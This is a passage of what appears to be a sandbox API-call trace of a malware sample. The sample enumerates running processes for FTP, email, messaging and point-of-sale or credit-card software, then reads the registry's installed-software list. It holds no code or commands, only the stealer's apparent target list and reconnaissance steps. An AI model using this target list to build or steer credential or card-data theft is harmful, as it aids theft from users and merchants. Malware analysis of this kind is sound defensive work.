dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0145.976] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340d40 | out: hHeap=0x2360000) returned 1 [0145.976] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x107c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0146.017] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e80 | out: hHeap=0x2360000) returned 1 [0146.017] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1084, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0146.020] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c60 | out: hHeap=0x2360000) returned 1 [0146.020] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x108c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0146.022] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0146.022] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1094, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0146.023] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340ba0 | out: hHeap=0x2360000) returned 1 [0146.023] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x109c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0146.025] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e60 | out: hHeap=0x2360000) returned 1 [0146.025] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0146.027] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e00 | out: hHeap=0x2360000) returned 1 [0146.028] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0146.030] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e40 | out: hHeap=0x2360000) returned 1 [0146.030] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0146.032] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e20 | out: hHeap=0x2360000) returned 1 [0146.032] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0146.033] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340e60 | out: hHeap=0x2360000) returned 1 [0146.033] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0146.035] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340c80 | out: hHeap=0x2360000) returned 1 [0146.035] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0146.037] HeapFree (in: hHeap=0x2360000, dwFlags=0x0, lpMem=0x3340dc0 | out: hHeap=0x2360000) returned 1 [0146.037] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0146.039] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0146.040] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0146.042] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0146.043] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="edcsvr.exe")) returned 1 [0146.045] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x10fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="isspos.exe")) returned 1 [0146.046] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="fpos.exe")) returned 1 [0146.052] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x110c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0146.053] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1114, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0146.055] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x111c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0146.056] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1124, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="omnipos.exe")) returned 1 [0146.057] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x112c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="mxslipstream.exe")) returned 1 [0146.059] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1134, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spgagentservice.exe")) returned 1 [0146.061] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x113c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="spcwin.exe")) returned 1 [0146.062] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0146.064] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x114c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0146.065] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="actually-so.exe")) returned 1 [0146.066] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x115c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="utg2.exe")) returned 1 [0146.069] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="machinephoneterm.exe")) returned 1 [0146.071] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x116c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0146.072] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0146.074] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x117c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0146.075] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0146.077] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x118c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0146.078] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0146.080] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x119c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0146.081] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0146.082] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="cardmovementsister.exe")) returned 1 [0146.084] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="rolelittle.exe")) returned 1 [0146.085] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x11bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="various-whose.exe")) returned 1 [0146.090] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x124c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0146.092] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x134c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0146.093] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xc3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0146.094] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x60, pcPriClassBase=6, dwFlags=0x0, szExeFile="msfeedssync.exe")) returned 1 [0146.095] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x13ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x278, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0146.096] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x1374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x37c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0146.097] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x0, th32ProcessID=0x748, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x640, pcPriClassBase=8, dwFlags=0x0, szExeFile="7859d00a4fe195ff6eee7795be34ee9a351a0445acf0639cd999e9a3767dd1df.exe")) returned 1 [0146.099] Process32Next (in: hSnapshot=0x2fc, lppe=0x19f5e0 | out: lppe=0x19f5e0*(dwSize=0x128, cntUsage=0x19f448, th32ProcessID=0x18000018, th32DefaultHeapID=0x236122c, th32ModuleID=0x3b, cntThreads=0x19f368, th32ParentProcessID=0x2400ebcf, pcPriClassBase=1700936, dwFlags=0x19f3d8, szExeFile="??")) returned 0 [0146.100] CloseHandle (hObject=0x2fc) returned 1 [0146.103] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb80 | out: phkResult=0x19eb80*=0x2fc) returned 0x0 [0146.105] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x0, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="AddressBook", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.105] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook") returned 63 [0146.105] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\AddressBook", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.105] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.105] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.105] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x1, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Connection Manager", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.105] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager") returned 70 [0146.106] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Connection Manager", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.106] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.106] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.106] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x2, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DirectDrawEx", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.106] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx") returned 64 [0146.106] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DirectDrawEx", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.106] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.106] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.106] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x3, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="DXM_Runtime", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.106] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime") returned 63 [0146.106] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\DXM_Runtime", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.106] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.106] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.107] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x4, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="Fontcore", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.107] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore") returned 60 [0146.107] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\Fontcore", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.107] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.107] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.107] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x5, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE40", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.107] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40") returned 56 [0146.107] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE40", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.107] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.107] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.107] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x6, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE4Data", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.107] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data") returned 59 [0146.107] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE4Data", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.107] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.107] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.107] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x7, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IE5BAKEX", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.108] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX") returned 60 [0146.108] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IE5BAKEX", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: phkResult=0x19eb88*=0x4d0) returned 0x0 [0146.108] RegQueryValueExA (in: hKey=0x4d0, lpValueName="DisplayName", lpReserved=0x0, lpType=0x19eb84, lpData=0x19f3c0, lpcbData=0x19eb90*=0x400 | out: lpType=0x19eb84*=0x0, lpData=0x19f3c0*=0xef, lpcbData=0x19eb90*=0x400) returned 0x2 [0146.108] RegCloseKey (hKey=0x4d0) returned 0x0 [0146.108] RegEnumKeyExA (in: hKey=0x2fc, dwIndex=0x8, lpName=0x19ebc0, lpcchName=0x19eb90, lpReserved=0x0, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0 | out: lpName="IEData", lpcchName=0x19eb90, lpClass=0x0, lpcchClass=0x0, lpftLastWriteTime=0x0) returned 0x0 [0146.108] wsprintfA (in: param_1=0x19efc0, param_2="%s\\%s" | out: param_1="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData") returned 58 [0146.108] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Uninstall\\IEData", ulOptions=0x0, samDesired=0x20019, phkResult=0x19eb88 | out: 